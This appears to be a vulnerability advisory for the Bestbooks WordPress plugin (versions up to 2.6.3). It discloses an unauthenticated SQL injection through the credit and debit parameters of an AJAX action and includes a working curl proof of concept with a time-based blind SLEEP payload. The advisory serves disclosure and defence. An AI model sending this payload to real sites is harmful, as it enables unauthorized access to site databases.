Bestbooks <= 2.6.3 - Unauthenticated SQLi

2022-05-1700:00:00

cydave

bestbooks

unauthenticated

sql injection

credit

debit

parameters

exploit

EPSS

0.04

Percentile

92.1%

JSON

The plugin does not sanitise and escape some parameters before using them in a SQL statement via an AJAX action, leading to an SQL Injection exploitable by unauthenticated users

Affected parameters: credit and debit

curl https://example.com/wp-admin/admin-ajax.php \
    --data 'action=bestbooks_add_transaction&type=x&account=x&date=x&description=3&debit=(CASE WHEN (9277=9277) THEN SLEEP(5) ELSE 9277 END)&credit=1'

EPSS

0.04

Percentile

92.1%

JSON

Related for WPEX-ID:0D208EBC-7805-457B-AA5F-FFD5ADB2F3BE